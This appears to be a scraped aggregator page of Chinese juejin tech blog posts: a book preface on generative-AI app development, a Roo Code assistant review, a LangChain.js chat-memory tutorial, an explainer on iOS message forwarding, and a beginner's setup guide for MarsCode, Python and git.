2023年4月,笔者基于GPT模型实现了自动化生成单元测试的插件,并在公司内落地。这个插件服务了抖音安全、春节服务、TikTok等不同业务线的几十个团队,生成了10多万单元测试代码,让研发效率提升了近60%。这次成功案例后,笔者还开发了AI CR、AI代码防劣化等提效插件,在部门里都取得了不错的反响。

在这个过程中,笔者总结了不少一线的生成式AI应用开发经验,并在社区发表了相关文章。在2023年初,分享生成式AI应用开发经验的文章还非常少,因此文章一经发表就连续几周都排在热榜上,并有了10多万的阅读量。

这时清华大学出版社的编辑找到了笔者,希望笔者能将这些经验编写成书。笔者本人喜欢分享技术,也希望能够将近两年的生成式AI应用开发的经验成体系地沉淀下来,帮助到更多的人,加上之前有写作电子书的经验,于是答应了下来。

从2023年11月份至今,笔者利用每个周末和碎片化的时间,将与生成式AI应用相关的知识都写了下来。这就是这本书的创作背景了,编写本书对笔者而言也是一段独特且充满挑战的经历。

坦诚地说,社区里除了对AI应用的肯定外,也有不少对AI发展的质疑声,有没有可能生成式AI应用到最后只是昙花一现,毕竟现在模型的能力虽然让人吃惊,但并不能完全代替人类。笔者个人的判断是,从长远来看,尽管AI模型自身目前还无法完全替代人类,但AI无疑将成为未来发展趋势的一个重要方向。这一点从行业内的变化和全球投资趋势中都可以得到证实。生成式AI应用的基建能力都需要长时间的建设和投入,对个人和团队而言都是不错的机会。就像蒸汽时代、电气时代和信息时代初期一样,当时也存在很多质疑声,认为它们可能是昙花一现。我们还是要给时代更多的时间,也给未来多一点信心。

当然,个人判断并不仅是嘴上说说的,笔者也将于2024年9月从抖音业务线主动转岗到字节跳动AI IDE架构业务线,以身入局。就像上面说的,给时代更多的时间,也给未来和自己多一点信心。本书不仅是读者进入AI应用领域的起点和入局令牌,对于笔者而言也是新的开始和挑战,很荣幸能与各位读者一同前行,做一些有挑战的事情。

本书能顺利编写完成,离不开笔者的妻子春燕的支持。在笔者迷茫和疲惫的时候,她总是能够耐心倾听并给予安慰。今年,她还生下了一个可爱的男孩,但是由于笔者的工作繁忙,即使在业余时间也需要赶稿,因此她几乎承担了家中所有的家务和照顾孩子的重任,付出良多。特别幸运能有这样一位温和、宽容的伴侣。

同时感谢清华大学出版社的编辑,让笔者有机会可以将这几年的沉淀所学成体系地分享给读者。在写稿过程中,编辑提出了大量专业的建议,让本书能以更好的一面呈现出来。

最后,还要感谢为本书撰写序言的死月、张添富、夏柏阳、魏富强、陈阳和章小川老师们,感谢他们能在繁忙的工作之余抽出宝贵的时间读完笔者的拙作,写出专业中肯的点评。

虽然本书沁入笔者的所有努力,但是由于水平有限,难免有疏漏之处,欢迎读者批评指正。

总有人间一两风,填我十万八千梦。

陈祯民 2024年8月于深圳

by 祯民 at January 24, 2025 12:49 PM

juejin freebie

Roo Code完全指南:Cline的最强分叉升级,AI编程助手新标杆

引言

之前的几篇文章,给大家详细介绍了最强AI编程智能体Cline,今天要给大家介绍的则是Cline的一个很厉害的分叉项目Roo Code。Roo Code(前身为Roo Cline)作为一款功能强大的AI编程助手,通过其全面的功能和灵活的定制能力,为开发者提供了全新的开发体验,堪称Cline的升级版本。本文将详细介绍Roo Code的主要特点、核心功能以及其在实际开发中的应用价值。大家可以结合之前的文章一起阅读,相信会对Cline和Roo Code有更深入的了解。

Roo Code的核心特点概述

Roo Code核心功能概览

Roo Code作为一款集成于VS Code的AI编程助手,具备以下核心特点:

  • 多模式支持:内置多种预设模式(如Code、Architect、Ask),并支持自定义模式以满足不同开发需求
  • 文件与编辑器操作:能够直接创建、编辑文件,并自动响应语法错误或编译错误
  • 命令行集成:支持运行构建、测试等命令,并根据输出自动调整操作
  • 浏览器自动化:支持启动本地或远程Web应用,执行自动化测试与调试任务
  • 多模型与多API支持:兼容OpenRouter、Anthropic、Google Gemini等多种模型,并提供详细的资源使用统计
  • 自适应自治模式:用户可选择手动、自动或混合模式,灵活控制Roo Code的行为
  • MCP协议扩展:支持通过模型上下文协议扩展功能,轻松添加新工具
  • 上下文引用:通过@file、@folder等方式快速提供上下文信息,优化交互效率

其中,Chat Mode、Chat Mode Prompt Customization & Prompt Enhancements和Custom Modes是Roo Code的三大亮点功能,也是为什么可以作为Cline的升级版来使用的原因,接下来我们将重点介绍。

Chat Mode:智能对话模式详解

Chat Mode是Roo Code的核心功能之一,为用户提供了多种灵活的工作模式,以适应不同的开发需求。以下是三种内置模式的详细介绍:

  • Code模式:这是Roo Code的默认模式,专注于日常开发任务。无论是编写代码、修复问题,还是执行复杂的任务流,Code模式都能提供强大的支持。例如,用户可以直接输入自然语言指令,让Roo Code自动生成代码片段、优化现有代码,甚至执行文件操作。这一模式适合需要快速完成编码任务的开发者。

  • Architect模式:此模式专注于高层次的系统设计与架构分析。通过预设的提示词,Roo Code能够帮助用户规划技术方案、设计系统架构,甚至提出优化建议。与Code模式不同,Architect模式不会直接编写代码或执行命令,而是更注重逻辑分析和技术决策。这种分离的设计使得开发者能够更清晰地思考全局问题。

  • Ask模式:Ask模式是一个知识型助手,适用于研究和技术问题解答。用户可以询问有关代码库、编程概念或技术实现的问题,而Roo Code会基于上下文提供详尽的解答。它特别适合需要深入探讨某些复杂概念或进行代码审查的场景。

模式切换:如下图所示,用户可以通过底部聊天输入框的下拉菜单轻松切换模式。此外,每种模式会记住用户上次使用的API配置。例如,开发者可以为Architect模式选择更高阶的模型,比如O1,而为Code模式选择性价比更高的模型,比如DeepSeek V3。这种模式切换的设计不仅提高了工作效率,还优化了资源利用。

Roo Code模式切换界面

提示词定制:打造个性化AI编程助手

提示词的定制能力是Roo Code的一大亮点功能,它允许用户根据具体需求调整每种模式的角色定义和操作指令,从而更好地适配不同的工作流程。以下是这一功能的详细说明:

  • 角色定义与指令调整:用户可以为每种模式定制角色定义。例如,在Architect模式中,用户可以调整提示词以更关注系统的可扩展性和性能优化;在Ask模式中,可以优化提示词以支持更深入的研究问题。这种灵活性使得Roo Code能够更好地适应不同的开发场景。

  • 多种定制方式:用户既可以通过「Prompts」标签页进行可视化编辑,也可以直接修改JSON文件。这种双重选择不仅降低了定制的门槛,还为高级用户提供了更大的自由度。

  • 增强提示词功能:Roo Code提供了「✨ Enhance Prompt」功能,用户只需点击聊天输入框中的按钮,即可优化提示词以获得更优质的结果。这一功能支持所有模型和API配置,无论是GPT-4还是其他定制模型,用户都可以根据需求调整提示词,从而实现更高效的交互。

  • 跨模式优化:这一功能不仅适用于单一模式,还可以在不同模式之间共享提示词优化策略。例如,用户可以将Architect模式的提示词优化结果应用于Ask模式,从而实现知识共享和效率提升。

如下图所示,用户可以为每种模式设定角色定义:

Roo Code角色定义界面

自定义模式:打造专属AI编程助手

自定义模式是Roo Code的一项革命性功能,它允许用户根据具体需求创建全新的助手角色。这些角色不仅可以拥有独特的提示词,还可以设置专属的工具权限。以下是这一功能的详细说明:

  • 快速创建新模式:用户可以通过简单的指令「为某某角色创建新模式」快速生成新模式。例如,用户可以创建一个专注于编写测试用例的QA工程师角色,或者一个擅长用户故事和功能优先级的产品经理角色。

  • 深度定制能力:创建新模式后,用户同样可以通过「Prompts」标签页进一步调整提示词和权限设置。例如,用户可以为QA工程师角色添加特定的测试工具权限,或者为产品经理角色定义更详细的用户故事模板。

  • 动态适配开发需求:自定义模式不仅适用于单一任务,还可以在复杂的开发场景中动态适配。例如,用户可以为不同的项目创建不同的角色,从而实现更高效的任务分配和协作。

  • 与内置模式的结合:自定义模式可以与内置模式结合使用。例如,用户可以在Code模式的基础上创建一个专注于前端开发的角色,或者在Architect模式的基础上添加特定的数据库设计功能。

自定义模式的引入使得Roo Code从一个单纯的编程助手,升级为一个多角色、多任务的智能协作平台。下图展示了我创建的一个新角色,Tech Writer,专注于项目技术文档的写作。

Roo Code自定义角色界面

Roo Code安装与使用教程

扩展安装步骤

Roo Code安装界面

Roo Code的安装过程非常简单,用户可以通过以下步骤快速上手:

  1. 打开VS Code的扩展管理器,搜索「Roo Code」
  2. 安装带有火箭图标的扩展
  3. 通过活动栏或命令面板打开Roo Code,开始体验

Chat Mode实战案例:扫雷游戏开发

正好DeepSeek最近推出了R1,推理能力接近O1,结合之前性价比极高的DeepSeek V3,我就测试了一下混合模式编程的效果。计划让R1出方案,V3进行代码编写。给的需求还是经典的网页版扫雷游戏,之前DeepSeek V3测试的时候感觉效果比Claude Sonnet 3.5还是要差一些。

首先使用Architect Mode,下面是R1给出的具体方案:

首先,我需要理解用户的需求。用户要求设计一个网页版的扫雷游戏,使用HTML、CSS和JavaScript,并将其放置在指定的目录minesweeper-roo-archmode-thinking下。

扫雷游戏的核心要素包括:
1. 网格布局实现(通常用CSS Grid)
2. 右键标记地雷功能
3. 地雷随机生成算法
4. 数字提示系统(显示相邻地雷数)
5. 胜负判断逻辑
6. 计时器和地雷计数器

需要注意的架构问题:
- 避免与现有项目代码重复
- 状态管理方案选择(二维数组存储地雷分布)
- 事件处理机制(左键点击/右键标记)
- 响应式布局适配
- 首次点击安全保护(确保首次点击不是地雷)

当前模式限制:需要用户切换至Code模式才能执行文件写入操作。作为架构师,现在只能提供技术方案设计,无法直接修改代码。

根据现有架构分析,推荐以下实施方案:

1. **目录结构规划**
minesweeper-roo-archmode-thinking/
├─ index.html    // 游戏主界面
├─ script.js     // 游戏逻辑与交互
└─ style.css     // 视觉样式与动画


2. **核心模块设计**
// script.js 建议架构
class Minesweeper {
  constructor(config) {
    this.BOARD_SIZE = 10;       // 10x10网格
    this.MINE_COUNT = 15;       // 地雷总数
    this.state = { /* 游戏状态管理 */ }
  }

  initBoard() { /* 初始化游戏板 */ }
  generateMines(firstClick) { /* 首次点击安全生成算法 */ }
  revealCell(x, y) { /* 格子翻开逻辑 */ }
  toggleFlag(x, y) { /* 旗帜标记功能 */ }
  checkWinCondition() { /* 胜利条件判断 */ }
  updateDisplay() { /* 界面状态同步 */ }
}

// 事件监听器注册方案
document.addEventListener('contextmenu', /* 处理右键标记 */);
document.addEventListener('click', /* 处理左键点击 */);


3. **关键技术决策点**
- **地雷生成算法**:采用Fisher-Yates洗牌算法确保随机分布
- **状态管理**:使用二维数组存储格子状态(0-8:相邻雷数,-1:地雷)
- **点击传播**:实现空白格子的自动扩散展开
- **性能优化**:使用事件委托替代逐个格子的事件监听
- **持久化**:localStorage存储最佳成绩

4. **样式架构建议**
/* style.css 关键样式 */
.grid-container {
  display: grid;
  grid-template-columns: repeat(10, 40px); /* 10列布局 */
  gap: 2px;
}

.cell {
  transition: all 0.15s ease; /* 交互动画 */
  /* 不同状态的可视化设计 */
  &.revealed { background: #c0c0c0 }
  &.mine { background: url(mine.svg) }
  &.flagged { background: url(flag.svg) }
}

需要用户切换到Code模式后,我将提供完整的代码实现并协助创建项目文件。当前架构方案已准备就绪,请确认是否需要调整设计方向。

然后切换到Code模式,打开Auto Approve,让Roo Code开始自动实现。一顿操作之后,游戏完成,我测试了一下,效果拉满,比之前单独使用deepseek V3的时候好很多,所有功能都实现,还带有出色的交互动画。游戏截图如下:

Roo Code扫雷游戏实战效果

结论

总的来说,我认为Roo Code在功能深度和灵活性方面超越了Cline,通过其多模式支持、自定义模式和提示词优化等功能,为开发者提供了前所未有的编程体验。从日常编码到系统设计,从自动化测试到复杂任务的定制化,Roo Code都能胜任。接下来我会继续关注Roo Code和Cline的更新进展,看看他们是否会走出不一样的AI编程智能体之路!

by 几米哥 at January 24, 2025 12:46 PM

juejin frontend

Langchain.js | Memory | LLM 也有记忆😋😋😋

前言

书接上文 , 学习 RAG 的 Retriever(检索) , 现在学习 Memory ~

在与大语言模型(LLM)交互的过程中,聊天记录的管理和有效利用至关重要。

LangChain 作为一个强大的工具库,提供了丰富的功能来帮助开发者实现聊天记录的存储、摘要生成以及自动维护等操作。本文将深入探讨 LangChain 中聊天记录管理的相关机制,并通过具体代码示例进行详细说明。

聊天记录的存储

用户与 LLM 的所有聊天记录都会完整地存储在 chat history 中。chat history 负责将这些原始数据存储在内存中,或者对接其他数据库。

在大多数情况下,我们不会将完整的 chat history 直接嵌入到 LLM 的上下文中,而是提取聊天记录的摘要或者只返回最近几条聊天记录,这些处理逻辑在 Memory 中完成。

代码示例

import { ChatMessageHistory } from "langchain/stores/message/in_memory";
import { HumanMessage, AIMessage } from "@langchain/core/messages";

const history = new ChatMessageHistory();
// 储存两个 Message 的信息
await history.addMessage(new HumanMessage("hi"));
await history.addMessage(new AIMessage("What can I do for you?"));
// 获取所有的历史记录
const messages = await history.getMessages();
console.log(messages);

所有 chat history 都继承自 BaseListChatMessageHistory,其类型定义包含了获取消息、添加消息、添加用户消息、添加 AI 消息以及清空历史记录等抽象方法。

任何实现了 BaseChatMessageHistory 抽象类的都可以作为 Memory 的底层 chat history

由于 ChatMessageHistory 是存储在内存里的,后续我们还可以实现基于文件存储的 chat history 并复用 Memory 的能力。

用手实现

LLM 本身是无状态的,不会存储聊天历史,每次都根据上下文生成回答。因此,我们需要自己存储聊天记录,并将其作为传递给 LLM 的上下文的一部分。

代码示例

import { load } from "dotenv";
const env = await load();
const process = {
    env
}
import { ChatPromptTemplate, MessagesPlaceholder } from "@langchain/core/prompts";
import { ChatOpenAI } from "@langchain/openai";

const chatModel = new ChatOpenAI({
    modelName: "gpt-4o",
    temperature: 0.7,
    maxTokens: 1000,
});
const prompt = ChatPromptTemplate.fromMessages([
    ["system", "You are a helpful assistant. Answer all questions to the best of your ability. You are talkative and provides lots of specific details from its context. If the you does not know the answer to a question, it truthfully says you do not know."],
    new MessagesPlaceholder("history_message"),
]);
const chain = prompt.pipe(chatModel);

const history = new ChatMessageHistory();
await history.addMessage(new HumanMessage("我叫 Langchain 杀手"));
const res1 = await chain.invoke({
    history_message: await history.getMessages()
})
await history.addMessage(res1)
await history.addMessage(new HumanMessage("我叫什么名字?"));
const res2 = await chain.invoke({
    history_message: await history.getMessages()
})

res1 的结果 :

image.png

res2 的结果 :

image.png

在这个示例中,MessagesPlaceholder 创建了一个名为 history_message 的插槽,chain 中对应的参数将会替换这部分。通过手动添加和使用聊天记录,我们可以让 LLM 在生成回答时考虑历史信息。

自动实现

RunnableWithMessageHistory 可以给任意 chain 包裹一层,从而添加聊天记录管理的能力。

代码示例

import { load } from "dotenv";
const env = await load();
const process = {
    env
}
import { ChatPromptTemplate, MessagesPlaceholder } from "@langchain/core/prompts";
import { ChatOpenAI } from "@langchain/openai";
import { RunnableWithMessageHistory } from "@langchain/core/runnables";
import { ChatMessageHistory } from "langchain/stores/message/in_memory";

const chatModel = new ChatOpenAI({
    modelName: "gpt-4o",
    temperature: 0.9,
});
const prompt = ChatPromptTemplate.fromMessages([
    ["system", "You are a helpful assistant. Answer all questions to the best of your ability."],
    new MessagesPlaceholder("history_message"),
    ["human", "{input}"]
]);
const history = new ChatMessageHistory();
const chain = prompt.pipe(chatModel);

const chainWithHistory = new RunnableWithMessageHistory({
    runnable: chain,
    getMessageHistory: (_sessionId) => history,
    inputMessagesKey: "input",
    historyMessagesKey: "history_message",
});

const res1 = await chainWithHistory.invoke({
    input: "我叫 langchain 杀手"
}, {
    configurable: { sessionId: "none" }
})
const res2 = await chainWithHistory.invoke({
    input: "我的名字叫什么?"
}, {
    configurable: { sessionId: "none" }
})

RunnableWithMessageHistory 有几个重要参数:

  • runnable:需要被包裹的 chain,可以是任意 chain
  • getMessageHistory:接收一个函数,函数根据传入的 _sessionId 获取对应的 ChatMessageHistory 对象。
  • inputMessagesKey:用户传入信息的 key 名称,用于自动记录用户输入。
  • historyMessagesKey:聊天记录在 prompt 中的 key,用于自动将聊天记录注入到 prompt 中。
  • outputMessagesKey:如果 chain 有多个输出,需要指定哪个是 LLM 的回复,即需要存储的信息。

聊天记录摘要的自动生成

除了传递完整的记录到 LLM 中,我们还可以对 LLM 的历史记录进行更多操作,例如自动生成摘要。

代码示例

import { ChatOpenAI } from "@langchain/openai";
import { ChatPromptTemplate } from "@langchain/core/prompts";
import { RunnableSequence } from "@langchain/core/runnables";
import { StringOutputParser } from "@langchain/core/output_parsers";

const summaryModel = new ChatOpenAI();
const summaryPrompt = ChatPromptTemplate.fromTemplate(`
Progressively summarize the lines of conversation provided, adding onto the previous summary returning a new summary
Current summary:
{summary}
New lines of conversation:
{new_lines}
New summary:
`);
const summaryChain = RunnableSequence.from([
    summaryPrompt,
    summaryModel,
    new StringOutputParser(),
])

const newSummary = await summaryChain.invoke({
    summary: "",
    new_lines: "我叫浪遏"
})
await summaryChain.invoke({
    summary: newSummary,
    new_lines: "我是一名学生"
})
// 我叫浪遏, 是一名学生

这个 summaryChain 接受两个参数:summary(上一次总结的信息)和 new_lines(用户和 LLM 新的回复),通过不断调用可以逐步生成聊天记录的摘要。

demo

下面是一个完整的处理链示例,结合了聊天记录的存储、摘要生成和自动维护。

代码示例

import { ChatOpenAI } from "@langchain/openai";
import { ChatPromptTemplate } from "@langchain/core/prompts";
import { ChatMessageHistory } from "langchain/stores/message/in_memory";
import { RunnableSequence } from "@langchain/core/runnables";
import { StringOutputParser } from "@langchain/core/output_parsers";
import { RunnablePassthrough } from "@langchain/core/runnables";
import { getBufferString } from "@langchain/core/messages";


// 使用 RunnableSequence.from 方法创建一个可运行的序列 chatChain
// 该序列会按顺序依次执行其中的每个可运行对象
const chatChain = RunnableSequence.from([
    {
        // 创建一个包含输入的对象,使用 RunnablePassthrough 来传递输入数据
        // 同时,在传递过程中执行自定义函数 func
        // func 函数的作用是将用户输入的消息添加到聊天历史记录 history 中
        input: new RunnablePassthrough({
            func: (input) => history.addUserMessage(input)
        })
    },
    // 使用 RunnablePassthrough.assign 方法将额外的数据添加到输入对象中
    // 这里将历史摘要 history_summary 添加到输入对象中,其值为变量 summary
    RunnablePassthrough.assign({
        history_summary: () => summary
    }),
    // 将聊天提示模板 chatPrompt 作为序列的一部分
    // 它会根据输入数据生成合适的提示信息
    chatPrompt,
    // 将聊天模型 chatModel 作为序列的一部分
    // 它会根据生成的提示信息生成回复
    chatModel,
    // 使用 StringOutputParser 将模型的输出解析为字符串
    new StringOutputParser(),
    // 再次使用 RunnablePassthrough 传递解析后的字符串输出
    // 同时执行自定义函数 func 进行一系列操作
    new RunnablePassthrough({
        func: async (input) => {
            // 将模型的回复添加到聊天历史记录 history 中
            history.addAIChatMessage(input);
            // 获取聊天历史记录中的所有消息
            const messages = await history.getMessages();
            // 将消息列表转换为字符串
            const new_lines = getBufferString(messages);
            // 调用摘要生成链 summaryChain,根据当前摘要 summary 和新的聊天内容 new_lines 生成新的摘要
            const newSummary = await summaryChain.invoke({
                summary,
                new_lines
            });
            // 清空聊天历史记录
            history.clear();
            // 更新摘要为新生成的摘要
            summary = newSummary;
        }
    })
]);

这个 chatChain 的主要流程包括:

  • 将用户输入添加到聊天历史记录中
  • 将历史摘要添加到输入对象中
  • 使用聊天提示模板生成提示信息
  • 将提示信息传递给聊天模型生成回复
  • 将模型的输出解析为字符串
  • 最后将模型的回复添加到聊天历史记录中
  • 根据新的聊天内容更新摘要
  • 并清空聊天历史记录

逐帧学习如下 ~ 🤡

RunnableSequence 概述

RunnableSequence 是 LangChain 中的一个工具,它允许你将多个可运行的步骤(也就是操作)按顺序组合在一起,形成一个处理链。就好比一条生产流水线,原材料(输入数据)依次经过每个工位(步骤),最终得到成品(输出结果)。

RunnableSequence.from 方法

RunnableSequence.from 方法用于创建一个 RunnableSequence 实例,它接受一个数组作为参数,数组中的每个元素代表流水线中的一个工位(步骤)。下面我们来详细看看这个数组里每个步骤都在做什么。

步骤 1:处理用户输入并添加到历史记录

{
    input: new RunnablePassthrough({
        func: (input) => history.addUserMessage(input)
    })
}
  • RunnablePassthrough:这是一个特殊的组件,它会将输入原封不动地传递给下一个步骤,但在传递之前,允许你执行一些自定义操作。
  • func 函数:这里的 func 函数接收输入数据 input,并调用 history.addUserMessage(input) 将用户输入的消息添加到聊天历史记录 history 中。这个步骤的主要目的是记录用户的输入。

步骤 2:添加历史摘要到输入数据

RunnablePassthrough.assign({
    history_summary: () => summary
})
  • RunnablePassthrough.assign:这个方法会将输入数据和一个额外的对象合并,然后传递给下一个步骤。
  • { history_summary: () => summary }:这里定义了一个额外的对象,其中 history_summary 是一个属性名,其值是一个函数,该函数返回当前的历史摘要 summary。这个步骤的作用是将历史摘要添加到输入数据中,以便后续步骤使用。

步骤 3:生成聊天提示

chatPrompt
  • chatPrompt 是一个聊天提示模板,它会根据输入数据生成合适的提示信息。这个提示信息将作为输入传递给聊天模型,引导模型生成回复。

步骤 4:调用聊天模型生成回复

chatModel
  • chatModel 是一个聊天模型实例,它会根据上一步生成的提示信息生成回复。这个模型可以是 OpenAI 的 GPT 系列模型,或者其他支持聊天功能的语言模型。

步骤 5:解析模型输出为字符串

new StringOutputParser()
  • StringOutputParser 是一个输出解析器,它的作用是将模型的输出解析为字符串类型。因为模型的输出可能是一个复杂的数据结构,通过这个解析器可以将其转换为我们需要的字符串形式。

步骤 6:处理模型回复并更新历史摘要

new RunnablePassthrough({
    func: async (input) => {
        history.addAIChatMessage(input)
        const messages = await history.getMessages()
        const new_lines = getBufferString(messages)
        const newSummary = await summaryChain.invoke({
            summary,
            new_lines
        })
        history.clear()
        summary = newSummary      
    }
})
  • **RunnablePassthrough**:同样是将输入原封不动地传递给下一个步骤,但在传递之前执行自定义操作。
  • func **函数:这是一个异步函数,它会执行以下操作:
    1. history.addAIChatMessage(input):将模型的回复添加到聊天历史记录 history 中。
    2. const messages = await history.getMessages():获取聊天历史记录中的所有消息。
    3. const new_lines = getBufferString(messages):将消息列表转换为字符串。
    4. const newSummary = await summaryChain.invoke({ summary, new_lines }):调用摘要生成链 summaryChain,根据当前摘要 summary 和新的聊天内容 new_lines 生成新的摘要。
    5. history.clear():清空聊天历史记录。
    6. summary = newSummary:更新摘要为新生成的摘要。

结论

通过 LangChain 提供的丰富功能,我们可以方便地实现

  • 聊天记录的存储、
  • 管理和摘要生成。

能让 LLM 在生成回答时更好地考虑上下文信息,从而提供更准确、连贯的回复。开发者可以根据具体需求灵活运用这些功能,构建出更加智能和高效的聊天应用。

by 浪遏 at January 24, 2025 12:39 PM

juejin ios

iOS 消息转发机制

iOS消息转发机制是Objective-C运行时系统提供的一种灵活机制,允许对象在运行时处理无法直接响应的消息。当一个对象收到一个它无法直接识别的方法调用时,这个消息并不会立即导致程序崩溃,而是会通过一系列步骤尝试找到能够处理该消息的对象或方法。 在iOS中有三次机会可以进行方法转发, 以下是iOS消息转发机制的详细解释:

@interface MyClass : NSObject
@end

@implementation MyClass

+ (BOOL)resolveInstanceMethod:(SEL)sel {
    if (sel == @selector(someMethod)) {
        class_addMethod([self class], sel, (IMP)someMethodImplementation, "v@:");
        return YES;
    }
    return [super resolveInstanceMethod:sel];
}

- (id)forwardingTargetForSelector:(SEL)aSelector {
    if (aSelector == @selector(someMethod)) {
        return [[AnotherClass alloc] init];
    }
    return [super forwardingTargetForSelector:aSelector];
}

- (NSMethodSignature *)methodSignatureForSelector:(SEL)aSelector {
    if (aSelector == @selector(someMethod)) {
        return [NSMethodSignature signatureWithObjCTypes:"v@:"];
    }
    return [super methodSignatureForSelector:aSelector];
}

- (void)forwardInvocation:(NSInvocation *)anInvocation {
    if ([anotherObject respondsToSelector:[anInvocation selector]]) {
        [anInvocation invokeWithTarget:anotherObject];
    } else {
        [super forwardInvocation:anInvocation];
    }
}

// 动态方法实现的函数
void someMethodImplementation(id self, SEL _cmd) {
    NSLog(@"Dynamically added method");
}

@end
开始
    |
    V
检查对象是否能直接响应消息
    | 是 -> 执行消息对应的方法(someMethod),结束
    | 否 ->
    V
尝试动态方法解析(resolveInstanceMethod)
    | 是 -> 动态添加方法并执行,结束
    | 否 ->
    V
尝试消息重定向(forwardingTargetForSelector)
    | 找到备援接收者 -> 转发消息给备援接收者,结束
    | 否 ->
    V
进入完整消息转发机制
    | 创建NSInvocation对象封装消息
    | 调用-methodSignatureForSelector:获取方法签名
    | 调用-forwardInvocation:处理消息转发
        | 转发消息给目标对象并执行
        | 或执行其他自定义处理逻辑
    |
    V
如果没有找到能处理消息的对象
    | 抛出"unrecognized selector sent to instance"异常

结束

工作流程

当一个对象收到一个它无法直接响应的消息时,消息转发机制会按照以下步骤进行:

  1. 动态方法解析

    • Objective-C运行时首先会尝试通过+resolveInstanceMethod:(对于实例方法)或+resolveClassMethod:(对于类方法)方法动态地向类中添加一个新方法。
    • 如果这些方法返回YES,并且成功地将一个新方法添加到了类中,那么原始的消息就会被这个新添加的方法处理,消息转发流程就此结束。
    • 这一步允许对象在运行时动态地添加或修改方法实现。
  2. 备援接收者

    • 如果动态方法解析失败,Objective-C运行时接下来会调用-forwardingTargetForSelector:方法。
    • 在这个方法中,对象可以返回一个能够响应该消息的其他对象。
    • 如果这个方法返回了一个非nil的对象,那么原始的消息就会被转发到这个备援接收者上,消息转发流程就此结束。
    • 这一步提供了一种机制,使得对象可以将无法处理的消息转发给其他对象来处理。
  3. 完整消息转发

    • 如果前两步都失败了,那么消息转发流程会进入完整消息转发阶段。
    • 首先,Objective-C运行时会调用-methodSignatureForSelector:方法来获取一个NSMethodSignature对象,这个对象描述了原始消息的参数类型和返回类型。
    • 接着,运行时会调用-forwardInvocation:方法,并将一个封装了原始消息调用的NSInvocation对象作为参数传入。
    • -forwardInvocation:方法中,对象可以自定义处理这个NSInvocation对象。例如,它可以将消息转发给另一个对象,或者执行一些其他操作来处理这个消息。
    • 如果-forwardInvocation:方法被调用并且成功处理了消息,那么消息转发流程就此结束。
    • 如果-forwardInvocation:方法没有实现或者无法处理消息,那么Objective-C运行时最终会抛出一个unrecognized selector sent to instance异常,导致程序崩溃。

实际应用

消息转发机制在iOS开发中有着广泛的应用场景。例如,它可以用于实现代理模式、观察者模式、回调机制等设计模式。此外,它还可以用于处理那些无法通过正常类继承和方法实现来解决的情况,比如动态地添加或修改方法实现、将消息转发给其他对象等。

注意事项

  • 在使用消息转发机制时,需要确保不会陷入无限循环。例如,在-forwardingTargetForSelector:方法中返回的对象不应该再次将消息转发回原始对象。
  • 消息转发机制虽然提供了很大的灵活性,但也会增加程序的复杂性。因此,在使用时需要谨慎,并确保不会滥用这一机制。
  • 开发者应该尽量通过正常的类继承和方法实现来处理消息,而不是依赖消息转发机制。消息转发机制应该被视为一种备用方案,用于处理那些无法通过正常手段解决的情况。

by 番茄比较犟 at January 24, 2025 12:21 PM

juejin freebie

零基础小白通宵达旦修炼MarsCode的奇技淫巧

豆包 MarsCode 编程助手是豆包旗下的 AI 编程助手,提供以智能代码补全为代表的 AI 功能。它支持主流的编程语言和 IDE,在开发过程中提供单行代码或整个函数的编写建议。此外,它还支持代码解释、单测生成和问题修复等功能,提高了开发效率和质量。

1、下载并安装 Visual Studio Code

下载地址

image.png

2、在VsCode的扩展商店MarsCode

安装 Visual Studio Code 后,左侧导航栏上点击扩展,打开扩展窗口。

在搜索框搜索“豆包”“MarsCode”关键词,找到豆包MarsCode 后单击「install」,完成安装。

3、 登录豆包MarsCode

重启 Visual Studio Code,使用快捷键(Windows: Ctrl + U; macOS: Command + U)打开豆包 MarsCode 编程助手侧边对话框,点击 登录 按钮,登录你的账号。

返回 IDE,插件准备完成,你可以开始体验 AI 能力,和AI助手进行任意对话。主要功能有生成代码、解释代码、注释代码,生成单测。

image.png

4、下载python,选择稳定版

image.png

5、安装Python

image.png

image.png

image.png

6、检查Python环境配置

在运行中输入sysdm.cpl

image.png

在高级——环境变量,选择系统变量中path。

image.png

双击path可以看到没有python变量。

image.png

新建添加下。

C:\Users\Administrator\AppData\Local\Programs\Python\Python312\python.exe

image.png

若在VsCode创建文件无法找到python,那么需要在扩展商店中安装python。

image.png

验证python安装正常。

image.png

7、配置虚拟环境

在VsCode中按住shift+ctrl+p,然后输入select interpreter。

image.png

点击创建虚拟环境。选择Venv创建。

image.png

image.png

也可以在终端里创建。

image.png

激活时发生报错。 image.png

原因是是在计算机上启动 Windows PowerShell 时,执行策略很可能是 Restricted(默认设置)。需要以管理员身份打开PowerShell 输入 set-executionpolicy remotesigned,就可以执行文件了。

image.png

8、依赖库的安装

使用“pip install”命令安装库。若安装速度慢可使用清华源,将库名替换到给定的清华源地址中。

pip install efinance==0.4.0 -i https://pypi.tuna.tsinghua.edu.cn/simple
pip install pandas==1.5.3 -i https://pypi.tuna.tsinghua.edu.cn/simple
pip install numpy==1.23.5 -i https://pypi.tuna.tsinghua.edu.cn/simple
pip install matplotlib==3.7.1 -i https://pypi.tuna.tsinghua.edu.cn/simple
pip install scikit-learn==1.2.2 -i https://pypi.tuna.tsinghua.edu.cn/simple

image.png

安装pandas==1.5.3有报错。

image.png

需要安装高版本C++。

image.png

安装pandas==1.5.3成功。

image.png

安装numpy==1.23.5有报错

image.png

image.png

尝试把numpy 2.2版本降级,pip install "numpy<2"

image.png

安装matplotlib==3.7.1成功。

image.png

安装scikit-learn==1.2.2报错

image.png

image.png

尝试安装,pip install --verbose scikit-learn。py可以正常运行。

image.png

执行pip list。查看安装结果。不太一样,但可以正常使用。

image.png

image.png

9、安装git

下载Git。

image.png

安装git。 image.png

image.png

image.png

image.png

image.png

image.png

image.png

image.png

image.png

image.png

image.png

验证安装:git --version

image.png

10、导入课程的代码

点击clone git repository>>输入代码地址即可获取课程源码。

image.png

image.png

11、设置字体,并运行代码
  • Windows用户可以从 C:\Windows\Fonts 复制

image.png

完成所有准备部分后,请确保你的项目包含下面的文件👇

stock-prediction/
├── SimHei.ttf                # 中文字体文件
├── stock_prediction.py                   # 主程序
└── README.md                 # 项目说明文档

点击右上角可以尝试运行代码,检测前面的准备步骤是否出错。如下所示,弹出了股价预测图。

image.png

image.png

12、从0到1写出代码

在当前文件夹右键新建新的文件,

image.png

在豆包中输入如下提示词。

我想要获取股票数据,用 python 代码,从哪里获取股票数据呢?

image.png

和文档里提供的结果差距很大,所以MarsCode每次生成的内容都是不同的。

如何运行这部分代码

image.png

安装

pip install yfinance

image.png

打开终端后将插入代码

